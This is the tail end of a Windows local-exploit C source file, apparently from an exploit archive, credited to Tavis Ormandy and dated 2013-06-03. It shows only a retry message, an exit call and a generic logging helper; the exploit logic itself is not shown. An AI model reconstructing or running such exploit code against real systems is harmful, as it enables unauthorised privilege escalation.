// Try again...

LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");

LogMessage(L_INFO, "Press any key to exit...");

getchar();

ExitProcess(1);

}

// A quick logging routine for debug messages.

BOOL LogMessage(LEVEL Level, PCHAR Format, ...)

{

CHAR Buffer[1024] = {0};

va_list Args;

va_start(Args, Format);

vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);

va_end(Args);

switch (Level) {

case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;

case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;

case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;

case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;

}

fflush(stdout);

fflush(stderr);

return TRUE;

}

作者: Tavis Ormandy
日期: 2013-06-03
类别: local
平台: windows

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